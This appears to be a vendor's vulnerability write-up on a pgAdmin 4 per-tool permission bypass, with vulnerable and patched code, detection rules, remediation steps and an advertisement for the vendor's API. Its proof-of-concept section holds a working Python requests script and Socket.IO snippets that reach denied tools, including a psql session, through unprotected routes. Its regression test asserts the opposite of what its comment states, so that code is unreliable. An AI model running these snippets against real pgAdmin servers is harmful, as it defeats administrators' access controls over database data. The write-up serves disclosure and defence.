CVE-2026-17350
Executive Summary
CVE-2026-17350 is a broken-access-control vulnerability in pgAdmin 4's per-tool permission system, introduced in version 9.3 and fixed in version 9.17. In SERVER mode, administrators can assign custom roles and deny specific pgAdmin tools such as Query Tool, View Data, Grant Wizard, Schema Diff, ERD, PSQL, Debugger, Backup, Restore, Maintenance, and Import/Export. The flaw is that the Flask-Security permissions_required decorator was applied only to one "front door" route per tool. All sibling HTTP routes and Socket.IO event handlers inside the same tool workflow were protected only by pga_login_required or socket_login_required, which verify authentication but not tool-level authorization.
An authenticated user with valid pgAdmin access and an existing database connection can therefore bypass an administrator's tool denial and drive the tool end-to-end. For example, a user denied tools_query_tool can still initialize a data-view session and retrieve real table rows; a user denied tools_grant_wizard can still apply GRANT statements; a user denied tools_schema_diff can still obtain real DDL differences; a user denied tools_psql can still open an interactive psql session through the /pty Socket.IO namespace. A related issue also allows a non-owner to trigger adhoc_connect_server against an administrator-owned shared server, causing a new server row to persist with the administrator still as owner.
This is an application-layer segregation-of-duties bypass, not a database privilege escalation. It does not grant the user PostgreSQL privileges they did not already hold. It circumvents pgAdmin's own administrative access-control policy.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
pgAdmin 4 is distributed as a Python package and is available on PyPI as pgadmin4. Deployments that install pgAdmin 4 from PyPI or run the official dpage/pgadmin4 Docker image must verify that the installed version is 9.17 or later. The affected release range is pgAdmin 4 9.3 through 9.16 inclusive.
- Check the installed version with
pip show pgadmin4. - Verify Docker image digest for tag
9.17or newer. - Use
pip-auditorpipenv checkin CI/CD to fail on vulnerable pgAdmin releases. - Maintain a software bill of materials (SBOM) for the pgAdmin package and its dependencies.
- Watch PyPI advisory feeds and pgAdmin release announcements for backported security patches.
CVSS Breakdown & Threat Level
NVD published a CVSS score of 5.4 but did not provide a public vector string in the supplied input. A representative vector for this class of issue is:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
This corresponds to an authenticated, low-complexity, network-based attack with no user interaction. The impact is limited to low confidentiality and integrity loss because the attacker only reaches features over their own already-authenticated database connection. Availability is not impacted.
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality Impact | Low |
| Integrity Impact | Low |
| Availability Impact | None |
| Base Score | 5.4 (Medium) |
The vulnerability is medium severity for most deployments, but the real-world risk increases in organisations where pgAdmin tool permissions are used as the only control separating sensitive operations such as GRANT execution, DDL inspection, or backup access.
Deep Dive & Mechanics
pgAdmin 4 9.3 introduced a per-tool permission model. In SERVER mode, an administrator can create custom roles and grant or deny tools per user or role. The intended design is that each tool has its own Flask-Security permission, for example tools_query_tool, tools_schema_diff, tools_grant_wizard, tools_psql, and similar.
The implementation flaw is an incomplete application of the permission check:
- The front door route for each tool was decorated with
@permissions_required("tool_name"). - Other backend routes for the same tool were decorated only with
@pga_login_required. - Socket.IO event handlers were decorated only with
@socket_login_required. - There was no
socket_permissions_requireddecorator equivalent topermissions_required.
Because pga_login_required and socket_login_required only validate the existence of a logged-in session, any authenticated user can call those routes directly. The permission check is effectively skipped after the first protected route returns 403.
The reporter verified three concrete cases:
Query Tool / View Data
The protectedsqleditorinitialization route returned403for a user withouttools_query_tool, but the same session connected to a server, initialized the viewdata backend chain, and retrieved real table row content.Grant Wizard
The protected ACL route returned403for a user withouttools_grant_wizard, but the same session enumerated grantable objects, generated GRANT SQL, and successfully applied it. The reporter confirmed the change usinghas_table_privilege().Schema Diff
The protected panel route returned403for a user withouttools_schema_diff, but the same session initialized the schema diff workflow, enumerated databases, connected to them, and obtained real DDL differences through thecompare_databaseSocket.IO handler.
During remediation, the same front-door-only permission gap was also found in:
- ERD
- PSQL
- Debugger
- Backup
- Restore
- Maintenance
- Import/Export
All were fixed by applying permissions_required to every HTTP route and introducing socket_permissions_required for every Socket.IO handler.
A related but distinct issue exists in the adhoc_connect_server workflow: a non-owner can trigger a connection attempt against an administrator-owned shared server, and pgAdmin persists a new server row still owned by the administrator, even though the connection attempt itself reports failure. This is a separate data-integrity and authorization flaw and should be reviewed independently after upgrading.
Vulnerable vs. Patched Code
The following examples are simplified reconstructions of the vulnerable pattern.
Vulnerable HTTP route pattern
Only the initialization route has permissions_required; all sibling routes rely on authentication alone.
# Vulnerable pattern in pgAdmin 4 9.3 - 9.16
@blueprint.route("/sqleditor/initialize/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool") # only this route checks the permission
def initialize_sqleditor(sid, did):
# ... setup ...
@blueprint.route("/sqleditor/connect/<int:sid>", methods=["POST"])
@pga_login_required # missing permissions_required
def connect_server(sid):
# ... connects server despite missing tool permission ...
@blueprint.route("/viewdata/start/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required # missing permissions_required
def start_viewdata(sid, did):
# ... initializes viewdata chain ...
Vulnerable Socket.IO pattern
# Vulnerable Socket.IO handler
@socketio.on("compare_database")
@socket_login_required # only checks authentication
def handle_compare_database(data):
# ... performs schema diff ...
Patched HTTP route pattern
# Patched pattern in pgAdmin 4 9.17
@blueprint.route("/sqleditor/initialize/<int:sid>/<int:did>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool")
def initialize_sqleditor(sid, did):
# ... setup ...
@blueprint.route("/sqleditor/connect/<int:sid>", methods=["POST"])
@pga_login_required
@permissions_required("tools_query_tool")
def connect_server(sid):
# ... connect only allowed with tool permission ...
Patched Socket.IO pattern
# Patched Socket.IO handler
@socketio.on("compare_database")
@socket_login_required
@socket_permissions_required("tools_schema_diff")
def handle_compare_database(data):
# ... performs schema diff ...
The new socket_permissions_required decorator mirrors permissions_required:
- It honours the Administrator bypass.
- It checks permissions through
has_permission(). - It returns
403or an equivalent status when the current user lacks the required tool permission. - It is applied as the outermost decorator on every affected Socket.IO handler.
Exploitation & Lab Setup
No public Exploit-DB code is currently available. The following lab setup and conceptual proof of concept demonstrate the vulnerability class.
Prerequisites
- pgAdmin 4 version 9.3 through 9.16 running in SERVER mode.
- An authenticated user account with a stored, working database connection.
- The same user must be explicitly denied at least one tool permission by an administrator.
- Network access to the pgAdmin web application and its Socket.IO endpoint.
Red Team Workflow
The goal is to demonstrate that a 403 on the front door does not prevent the rest of the tool workflow from succeeding.
- Log in to pgAdmin as the low-privilege user.
- Obtain the CSRF token and session cookies.
- Call the protected front-door route for the denied tool. Expect
403. - Call sibling routes directly with the same session and CSRF token.
- Use Socket.IO handlers to finish the workflow.
Conceptual Proof of Concept
import requests
import json
BASE = "http://target/pgadmin"
s = requests.Session()
# Step 1: login
login_resp = s.post(
f"{BASE}/login",
data={
"email": "lowpriv@example.test",
"password": "Secret123!",
"csrf_token": get_csrf(s, f"{BASE}/login"),
},
)
assert login_resp.status_code == 200
# Step 2: front door for Query Tool is blocked
front_door = s.post(
f"{BASE}/sqleditor/initialize/1/2",
json={},
headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert front_door.status_code == 403
# Step 3: sibling route bypasses permission check
connect = s.post(
f"{BASE}/sqleditor/connect/1",
json={},
headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert connect.status_code == 200
# Step 4: retrieve actual data through viewdata backend chain
viewdata = s.post(
f"{BASE}/viewdata/start/1/2",
json={},
headers={"X-CSRFToken": get_csrf(s, f"{BASE}/misc/csrf")},
)
assert viewdata.status_code == 200
For Socket.IO-based tools such as Schema Diff or PSQL, an attacker can send Socket.IO frames after establishing the websocket connection:
// Browser console proof of concept for Schema Diff
const socket = io("/pgadmin", { transports: ["websocket"] });
socket.on("connect", () => {
socket.emit("compare_database", {
sid: 1,
database1: "app_db",
database2: "app_db_dev",
schema: "public"
});
});
For PSQL:
// Browser console proof of concept for PSQL
const ptySocket = io("/pty", { transports: ["websocket"] });
ptySocket.on("connect", () => {
ptySocket.emit("pty_input", { input: "SELECT version();\r" });
});
Blue Team Workflow
Blue teams should recreate the exact denial matrix from the administrator role and verify that the denied user returns 403 on every route and every socket event for the affected tool.
- Create a test role with no tool permissions.
- Assign a stored server connection to the role.
- Enumerate all HTTP routes for each tool.
- Enumerate all Socket.IO event names for each tool.
- Send authenticated requests to each route and event.
- Assert that every response returns
403. - Repeat after upgrading to 9.17.
A route map can be generated from the application's Flask URL map:
from flask import current_app
for rule in sorted(current_app.url_map.iter_rules(), key=lambda r: r.rule):
print(rule.rule, rule.methods)
Use the output as a regression checklist.
Indicators of Compromise (IOCs)
This vulnerability leaves no malware-style file IOCs, but it creates behavioral patterns in HTTP access logs, pgAdmin internal logs, database audit logs, and Socket.IO frames.
HTTP Access Log Patterns
The following sequence is suspicious:
403 POST /pgadmin/sqleditor/initialize/1/2
200 POST /pgadmin/sqleditor/connect/1
200 POST /pgadmin/viewdata/start/1/2
200 POST /pgadmin/viewdata/get_rows
Other suspicious sequences include:
403 POST /pgadmin/grant_wizard/acl
200 POST /pgadmin/grant_wizard/objects
200 POST /pgadmin/grant_wizard/apply
403 POST /pgadmin/schema_diff/panel
200 POST /pgadmin/schema_diff/connect
Socket.IO: compare_database
403 POST /pgadmin/psql/panel
200 Socket.IO /pty: pty_input
Socket.IO Frames
42["compare_database",{"sid":1,"schema":"public"}]
42["pty_input",{"input":"SELECT version();"}]
42["backup_job",{"sid":1,"database":"app_db"}]
42["restore_job",{"sid":1,"database":"app_db"}]
Misc Route Anomaly
POST /pgadmin/misc/workspace/adhoc_connect_server
Parameter: server_id=<admin-owned-shared-server>
Result: new server row persisted with original owner
These IOCs are behavioral and require correlation. A single 403 followed by 200 on a sibling route is not proof by itself, but repeated patterns across many tools should trigger investigation.
Detection Engineering
YARA Rule
The following YARA rule is intended to scan pgAdmin access logs or application logs for permission-bypass behavioral markers.
rule pgadmin_cve_2026_17350_permission_bypass
{
meta:
author = "Valters IT"
description = "Detects pgAdmin log lines associated with CVE-2026-17350 per-tool permission bypass"
cve = "CVE-2026-17350"
date = "2026-04-01"
strings:
$front1 = "tools_query_tool" ascii
$front2 = "tools_grant_wizard" ascii
$front3 = "tools_schema_diff" ascii
$front4 = "tools_psql" ascii
$stat403 = "403" ascii
$stat200 = "200" ascii
$socket = "socket.io" ascii
$pty = "/pty/" ascii
$diff = "compare_database" ascii
$view = "viewdata" ascii
condition:
any of ($front*) and any of ($stat403, $stat200) and 1 of ($socket, $pty, $diff, $view)
}
Sigma Rule
title: PgAdmin Per-Tool Permission Bypass
id: 81d0f4c5-1735-4b06-9b00-9c4e8a2c6f11
status: experimental
description: Detects HTTP access log sequences where a pgAdmin front-door route returns 403 and a sibling tool route succeeds.
references:
- CVE-2026-17350
author: Valters IT
date: 2026-04-01
logsource:
category: web
service: httpd
detection:
selection_denied:
http.response.status_code: 403
http.url|contains:
- 'sqleditor/initialize'
- 'grant_wizard/acl'
- 'schema_diff/panel'
- 'erd/panel'
- 'psql/panel'
- 'debugger/init'
selection_bypass:
http.response.status_code: 200
http.url|contains:
- 'viewdata'
- 'psql'
- 'backup'
- 'restore'
- 'maintenance'
- 'import_export'
- 'connect'
selection_socket:
http.url|contains:
- 'socket.io'
condition: selection_denied and (selection_bypass or selection_socket)
level: high
falsepositives:
- Users intentionally opening several allowed tools after a single denied route.
- Shared reverse-proxy logs mixing different users.
tags:
- attack.t1068
- cve.2026.17350
Suricata Rule
alert http any any -> any any (
msg:"CVE-2026-17350 PgAdmin Socket.IO Permission Bypass Attempt";
flow:established,to_server;
http.uri; content:"/socket.io/"; nocase;
http.uri; content:"compare_database"; nocase;
reference:cve,2026-17350;
sid:202617350;
rev:1;
)
No Nuclei template was provided or identified in the available public intel context. If one becomes available, it should be tested against an isolated pgAdmin 9.16 test instance before deployment.
Remediation & Mitigation
Immediate Action
- Upgrade pgAdmin 4 to 9.17 or later. The fix adds
socket_permissions_requiredand appliespermissions_requiredto every backend route and Socket.IO handler for affected tools. - If immediate upgrade is not possible, treat 9.3 through 9.16 as untrusted in SERVER mode.
- Restrict network access to pgAdmin web interfaces with a zero-trust reverse proxy.
- Disable or block the vulnerable tools at the reverse proxy layer until the patch is applied.
Tool Permission Model Hygiene
- Tool permissions in pgAdmin are not a replacement for database-level authorization.
- Review custom roles and confirm which users are denied which tools.
- Audit database roles to ensure users do not have sensitive capabilities they should not hold.
- Enable pgAdmin internal logging and ship logs to a SIEM.
Patch Verification
After upgrading, run a regression test:
# regression_test.py
tools = [
"tools_query_tool",
"tools_schema_diff",
"tools_grant_wizard",
"tools_psql",
"tools_erd",
"tools_debugger",
"tools_backup",
"tools_restore",
"tools_maintenance",
"tools_import_export",
]
routes = [
"/pgadmin/sqleditor/initialize/1/2",
"/pgadmin/viewdata/start/1/2",
"/pgadmin/psql/panel/1",
"/pgadmin/backup/panel/1",
"/pgadmin/restore/panel/1",
]
for tool in tools:
assert is_denied(tool) == False # denied user must see 403
Long-Term Control Improvements
- Use SSO, MFA, and IP allow-listing for all pgAdmin SERVER-mode deployments.
- Apply least privilege in PostgreSQL roles.
- Monitor for
GRANT,REVOKE,ALTER TABLE,TRUNCATE, and other high-impact SQL commands in database audit logs. - Keep the Socket.IO endpoint behind separate rate limiting and anomaly detection.
- Add automated checks in your detection pipeline for
403 -> 200access-log pairs for protected tool routes. - Track pgAdmin advisories and patch within the change window.
Indicators of Compromise (IOCs) Summary
| Type | Indicator |
|---|---|
| Behavioral HTTP | 403 on tool init followed by 200 on sibling route |
| Behavioral HTTP | adhoc_connect_server with server_id of another user's shared server |
| Socket.IO event | compare_database |
| Socket.IO event | pty_input |
| Socket.IO event | backup_job, restore_job, maintenance_job |
| Log marker | Permission denied followed by successful tool event |
False positive rates are expected to be moderate because normal users may legitimately receive a 403 on one route and later access another tool in the same UI session. Correlation should use user identity, session ID, and timestamps within a short window.
Valters IT — DevSecOps / Cyber Threat Intelligence